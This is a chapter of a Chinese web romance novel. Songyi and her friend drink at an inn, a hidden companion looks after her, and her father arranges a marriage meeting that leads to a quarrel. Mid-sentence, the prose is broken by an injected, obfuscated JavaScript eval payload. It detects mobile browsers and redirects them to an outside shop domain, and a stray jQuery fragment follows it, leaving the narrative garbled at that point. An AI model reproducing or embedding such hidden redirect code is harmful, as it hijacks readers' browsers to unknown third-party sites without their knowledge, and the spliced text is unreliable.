18. 第 18 章
    从前颂宜常来,跟掌柜的也算半个熟人,三年不见,掌柜的还能认出她来。

    领着二人就去了个包厢,她们决定的突然,大的包房已经没有了,“这个包厢虽不比楼上的宽大,但装修和夜景却不输楼上的。”

    她们望向窗外一看,确实如掌柜所言不错,此刻天上还剩最后一丝余晖,橙黄的云丝渐渐被压下,深蓝的夜色笼罩而来,她们倒了一杯酒,就着最后的一丝天光喝了下去。

    阮如安酒量不错酒品却不行,今日她高兴,一个人喝了大半坛金波酒,喝到后面,颂宜的手紧紧摁住酒坛子,不让阮如安再倒了,大概她也是醉了,手下一个不稳,酒坛子应声落地,发出清脆的声音。

    “好晕。”阮如安原本已经快要摔在地上了,听着这声音稍稍清醒了几秒,转身踉跄几步躺在了榻子上。

    颂宜正要起身拾起碎片,一双骨骼分明的手拉住了她,“坐好,我来。”

    没摁铃铛萧显清就出现了,她看着正在捡瓷片的男人,开口道:“松吾,你怎么有几个脑袋?”

    萧显清看了眼脸色红红的女人,不由得有些气短。

    他知道今日颂宜要去阮家拜访便没跟着去,他在家中等了一天迟迟不见人回来,直到她带出去的下人回来说她今晚要去金波楼,他就猜到二人是来饮酒了。

    担心她出什么事,萧显清便过来看看。

    颂宜仅存的清醒提醒她萧显清不能被看到,她一只手扯了扯他的袖子,“你快躲起来,等会儿会被看见的。”另一只手却有些撑不住了,身体一直往下滑。

    萧显清见状连忙将她抱在怀里,见她在怀中乱动,便将她放在另一个榻上。

    捏了捏她的鼻子,“小醉鬼。”

    颂宜拍开萧显清乱动的手,吸了吸鼻子,寻了个舒适的姿势睡了过去。

    颂宜喝的没有阮如安多,在榻上睡了快半个时辰就醒了,醒来的时候旁边的案上摆着一杯茶水,还有些温热。

    她揉了揉脑袋,才隐隐约约想起来萧显清好像来了,但现下屋内只有她和还在睡的阮如安,不知道是不是先回去了。

    她正打算看看阮如安怎么样了,一只手从身旁递过来了方才案上的那只茶杯,是萧显清,颂宜确实有些口渴了,就着茶杯喝了起来。

    “你怎么来了?”

    “你说我怎么来了?”萧显清一脸无奈。

    “你担心我啊?我怎么会有事。”颂宜安慰似的拍了拍萧显清的肩膀,“还有乌飒呢。”

    “乌飒能把喝醉的你背上马车?”乌飒自然是不敢也不能的,被人看见了,怕是要被别人说堂堂一个千金小姐在外面喝酒喝得醉醺醺的,还让家里的下人背。

    “没事的,我有分寸。”她已经和白叶说过了,如果戌时她还没回府,就让白叶来金波楼找她。

    只是见萧显清的神色不如平常,颂宜想了想,“你生气啦?”

    萧显清哪会因为这般就生颂伊的气,他是真的有些担心她。

    二人还在说着,就听见一旁的榻子上传来细微的嗫嚅声,颂宜赶忙让萧显清隐身。

    她轻轻摸了摸阮如安的脸,又给她倒了杯茶,“如安,来吧茶喝了,省得等会儿口渴了。”

    阮如安这才悠悠转醒,“我方才好像做梦了,梦见你和一个男人在说话。”

    颂宜虽然知道阮如安没有看见或听见什么,但心里还是一紧,便顺着阮如安说:“你肯定是做梦了,这屋内哪有男人。”

    “方才我可有做什么奇怪的事情?”阮如安知道自己酒品不太行,过去他们饮酒,她尽兴了就拉着颂宜一块儿放肆。

    “今天可是长进了,你自个儿乖乖的就躺下了。”颂宜表情肯定,阮如安也觉得惊讶。

    “什么时辰了,我们是不是该回府了。”她揉了揉脑袋,还是觉得刚才的梦太过真实。

    “酉时已过,是该回府了。”阮如安的下人在楼下,见自家小姐安安稳稳的从房间内出来,心下叹了口气。

    二人分别时还约着下次的席,颂宜吧阮如安塞进阮家的马车,叮嘱她的婢子好生照顾着,也上了自家的马车。

    出门了一日,颂宜也有些累了,这几日在外交际,没怎么顾及到萧显清,她知道他就在马车里,开口道:“抱歉松吾,这几日太忙了,没时间陪你。”

    萧显清听到颂宜的话,静了几秒才开口,“阿浦,你不需要对此感到抱歉,我不是你的任务,你只要开心就好了。”

    颂宜连忙解释道:“不是的,我不是这个意思。”

    萧显清见颂宜着急忙慌,摸摸她的头“我知道你没有,但你真的不必顾虑我,你开心的话我也会开心的。”

    颂宜有些沮丧,她怎么可能不在乎他不考虑他呢?颂宜默默的点了点头,只是心中却有些郁结。

    倒不是因为这几日太忙而忽略萧显清,而是萧显清似乎默默的在和她剥离开。颂宜不知道如何形容这种感觉,明明他们身体的距离很近,可是似乎有一道屏障越来越厚。

    在回去的马车上,颂宜安静了很久,她想不明白是为什么。

    第二日,封仲林来到了颂宜的院子里,给她带来了一个消息。

    “五经博士蒋大人今日与我说起了他家次子的婚事,眼下似乎又要与咱们家结亲的意思。”

    五经博士的次子,颂宜没什么印象。

    封仲林又道:“我曾在蒋大人家见过此子,这孩子长得十分周正,如今在渭南做县令。”尤其是还年轻,比着颂宜大两岁,生辰也合,只要好好的坚守自己的原则,未来的仕途不会有太大的问题的。

    颂宜皱了皱眉毛,“父亲,我不想......”

    封仲林打断了颂宜的话,“还没见过,你怎知会不喜欢呢?”

    颂宜无奈,封仲林是知道她对萧显清的心思的,可是那又如何,在封父看来,萧显清就是个已逝的过去。

    虽然封仲林不是个不考虑孩子心思的人,但是他也要为孩子的未来考虑。如果他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721425|144788||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不在了,他希望还有个能为颂宜遮风挡雨的人。

    封律元还太小,未来如何还说不定,颂宜也到了适婚的年龄,正好蒋大人有意结亲,蒋家家风清正,蒋大人和夫人也是讲理的人,不怕颂宜嫁进了蒋家会受委屈,更何况还有他在呢。

    “后日休沐,蒋家会来家中拜访。”见颂宜又要拒绝,封仲林又说道:“你先不要拒绝,后日你不需要露面,只在屏风后面看两眼便是,说不定看上了呢?”

    封仲林自顾自的说完后便离开了。

    留颂宜一人独自郁闷,但这也提醒她了,女子少有不嫁人的,如果她一直在长安,哪怕不是封父,也会有其他人想要替她说亲,她得尽快找个由头去瀚海府。

    想着,便想让萧显清现身一起商讨去瀚海府的事情。她捏了捏铃铛,就见萧显清坐在靠窗的榻子上。

    她走上前坐在了榻子的另一侧,“松吾,待这几日的事情处理完后,我们便去瀚海府吧。”虽然博图还未传来任何消息,但只要人还在,东西就不会跑。

    萧显清却迟迟不语,见他神色不明,颂宜有些不安。

    他看向她的眼神透露出认真,“待你处理完这些事情后再说吧。”

    颂宜猜测是萧显清听见了方才封仲林的一番话,“我不想见那个人,我也不想成亲。”

    萧显清却没有再顺着她的意思,“阿浦,你终该是要成亲的,那位蒋二公子我曾见过,或许是不错的对象。”

    颂宜一听只觉得心脏被扎了一般,“你根本不介意我和别的人成亲是吗?”

    萧显清又何尝不难过呢,可是眼下他不人不鬼,未来的寿命如何一概不知,这样残缺的他又凭什么和别人争呢?

    只能违背心中的意愿说道:“你成亲了,就多了一个人照顾你,我便能放心了。”

    “可是我不愿意!为什么你不在乎我的想法,只是把我推给别人?”颂宜忍不住落下了眼泪,萧显清想要抬手将泪滴擦掉,可是手却定在了原地。

    “松吾,你究竟是装作不知道还是无所谓,”颂宜不想再忍了,她无法接受眼前的男人却要把她推向别人,“你知不知道我......”

    未等颂宜将话说出口,萧显清就打断了她,“好了,我知道的,无论你和谁成亲了,你永远都是我的家人。”

    颂宜讨厌萧显清此刻心口不一的样子,明明她也能感受到他对她的不一样,可是为什么他要说出这般令人伤心的话。

    “你真的很讨厌。”

    一直到午后,颂宜没有再回来,萧显清独自一人待在她的屋内。

    早上颂宜说完那番话后,便离开了封府去往城外的庄子,这一次她谁也没带,只吩咐了青竹一声便独自一人出门。

    直到傍晚,颂宜还是没有回来,这一次萧显清有些坐不住了,以往颂宜同他生气不会那么久不回来,担心天色晚了她会出什么事,萧显清便打算出门。

    只是一出门,就见方才还念叨着的人出现在了眼前。